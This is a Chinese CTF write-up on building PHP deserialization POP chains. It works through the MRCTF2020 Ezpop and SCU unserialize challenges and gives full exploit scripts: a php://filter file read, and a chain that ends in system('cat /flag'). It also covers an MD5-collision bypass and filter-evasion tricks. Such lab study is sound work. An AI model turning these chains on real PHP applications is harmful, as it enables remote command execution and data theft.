当前位置: 首页 > 工具软件 > pop2blog > 使用案例 >

php反序列化—POP 链的构造利用

姚棋
2023-12-01

POP 链的构造利用

一、POP链简介

1、POP 面向属性编程(Property-Oriented Programing) 常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的。类似于PWN中的ROP,有时候反序列化一个对象时,由它调用的__wakeup()中又去调用了其他的对象,由此可以溯源而上,利用一次次的“gadget”找到漏洞点。
2、POP CHAIN:把魔术方法作为最开始的小组件,然后在魔术方法中调用其他函数(小组件),通过寻找相同名字的函数,再与类中的敏感函数和属性相关联,就是POP CHAIN 。此时类中所有的敏感属性都属于可控的。当unserialize()传入的参数可控,便可以通过反序列化漏洞控制POP CHAIN达到利用特定漏洞的效果。

二、POP链利用技巧

1、一些有用的POP链中出现的方法:

- 命令执行:exec()、passthru()、popen()、system()
- 文件操作:file_put_contents()、file_get_contents()、unlink()

2、**反序列化中为了避免信息丢失,使用大写S支持字符串的编码。**PHP 为了更加方便进行反序列化 Payload 的 传输与显示(避免丢失某些控制字符等信息),我们可以在序列化内容中用大写S表示字符串,此时这 个字符串就支持将后面的字符串用16进制表示,使用如下形式即可绕过,即:

s:4:"user"; -> S:4:"use\72";

3、深浅copy:在 php中如果我们使用 & 对变量A的值指向变量B,这个时候是属于浅拷贝,当变量B改变时,变量A也会跟着改变。在被反序列化的对象的某些变量被过滤了,但是其他变量可控的情况下,就可以利用浅拷贝来绕过过滤。

参考:深浅copy

4、配合PHP伪协议实现文件包含、命令执行等漏洞。如glob:// 伪协议查找匹配的文件路径模式。

实战

MRCTF2020-Ezpop

<?php

class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}
if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

其中出现的魔术方法:

__construct   当一个对象创建时被调用,
__toString   当一个对象被当作一个字符串被调用。
__wakeup()   使用unserialize时触发
__get()    用于从不可访问的属性读取数据
#难以访问包括:(1)私有属性,(2)没有初始化的属性
__invoke()   当脚本尝试将对象调用为函数时触发

构造pop链:

  • 首先反序列化调用__wakeup()方法
  • source=new Show()__wakeup()会调用__toString()
  • $str=new Test()就会调用__get()方法
  • p=new Modifier()就会调用__invoke(),然后命令执行
Modifier::__invoke()<--Test::__get()<--Show::__toString()

所以构造:

<?php
class Modifier {
	protected  $var="php://filter/read=convert.base64-encode/resource=flag.php"; #include函数使用为协议读取文件

}

class Test{
    public $p;	
}

class Show{
    public $source;
    public $str;
    public function __construct(){
        $this->str = new Test();
    }
}

$pop = new Show();//此时source(show)->str
$pop->source = new Show();//source(show)->str之后触发__tostring然后访问source(test)触发__get
$pop->source->str->p = new Modifier();//__get返回的p触发__invoke
echo urlencode(serialize($pop));
?>

法2(y4):

<?php
ini_set('memory_limit','-1');
class Modifier {
    protected  $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}

class Show{
    public $source;
    public $str;
    public function __construct($file){
        $this->source = $file;
        $this->str = new Test();
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = new Modifier();
    }
}
$a = new Show('aaa');
$a = new Show($a);
echo urlencode(serialize($a));

SCU unserialize

<?php
error_reporting(0);
highlight_file(__FILE__);
class hackMe{
    protected $formatters;   
    public function __call($method, $attributes){  #在对象中调用一个不可访问方法时调用
        return $this->format($method, $attributes);
    }
    
    public static function hackMMM(){
        echo "Hello web!";
    }

    public function format($formatter, $arguments)
    {
        $this->getFormatter($formatter)->patch($arguments[0][4][1]);
    }
    public function getFormatter($formatter)
    {
        if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];		# $this->formatters['dispatch'] = new flag();
        }
    }
}

class Ox401{
    protected $events;
    protected $event;
    public function __destruct(){
        $this->events->dispatch($this->event);   # 	$this->events = new hackMe();
        									 #	$this->event[4][1]= "cat /flag";
    }
     public static function welcome(){
        echo "Welcome to 0x401 Team!";
    }
}

class flag{
    protected $f1ag;
    public function patch($Fire){
        call_user_func($this->f1ag,$Fire);
    }
}

if($_POST['a']!=$_POST['b'] && md5($_POST['a'])===md5($_POST['b'])){
    if(file_get_contents(substr($_POST['a'],0,20))!=null){
        @unserialize(base64_decode($_POST['c']));
    }else{
        hackMe::hackMMM();
    }
}else{
    Ox401::welcome();
}
?>

前置

__destruct(),类的析构函数,对象被销毁时调用
__call(),在对象中调用一个不可访问方法时调用
file_get_contents(),把整个文件读入一个字符串中
call_user_func(),  把第一个参数作为回调函数调用	 
	call_user_func(callable $callback, mixed $parameter = ?, mixed $... = ?): mixed	 
	第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。 

在进行反序列化之前会有md5的强比较,之前遇到这种值的时候,一般绕过手段是使用数组或者是一对特定的字符串,但是这里额外加入了一个条件file_get_contents(substr($_POST[‘a’],0,20)),如果去不到这个文件,那也不能进行反序列化,所以这里使用了fastcoll工具,它可以对指定文件进行md5碰撞,从而获得两个md5值相同的文件

shell
fastcoll.exe -p 123.txt -o 1.txt 2.txt
工具下载链接:https://pan.baidu.com/s/1t8q89aP50oiFVyFe0JrbJw
提取码:atao
复制这段内容后打开百度网盘手机App,操作更方便哦

构造pop链

  • 新建对象hackMe,析构函数中调用了不存在的dispatch,从而调用__call
  • hackMe中逐级传参,建立flag对象并patch匹配shell指令
  • flag对象中f1ag为回调函数名,fire为patch传入的shell指令
class Ox401 -> __destruct		//建立hackMe对象,当调用不存在的方法时触发__call
↓↓↓
class hackMe -> __call 			//建立flag对象
↓↓↓
class flag -> patch				//回调函数进行代码执行

__call详解

在对象中调用一个不可访问方法时,__call()会被调用
在静态上下文中调用一个不可访问方法时,__callStatic()会被调用

调用某个实例化对象中不存在、不可访问的方法时,PHP会调用__call()方法以处理错误调用,而不是抛错
调用未实例化的类中不存在、不可访问的方法时,则调用__callStatic()

二者处理了不可访问方法的重载

它们拥有相同的两个传参: n a m e 用 以 获 取 此 时 调 用 的 不 可 访 问 方 法 的 名 称 , name用以获取此时调用的不可访问方法的名称, name访arguments用以获取此时调用的不可访问方法的参数

exp

<?php
class hackMe{
    protected $formatters;
    public function __construct(){
        $this->formatters['dispatch'] = new flag();
    }
}

class Ox401{
    protected $events;
    protected $event;
    public function __construct(){
        $this->events = new hackMe();
        $this->event[4][1]= "cat /flag";
    }
}

class flag{
    protected $f1ag = "system";
}

echo base64_encode(serialize(new Ox401()))."\n";

参考链接:

小小怪吃吃吃

https://www.scuctf.com/ctfwiki/web/unserialize/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/

[SCU校赛]Web部分-Writeup

https://blog.csdn.net/Xxy605/article/details/117440845

 类似资料: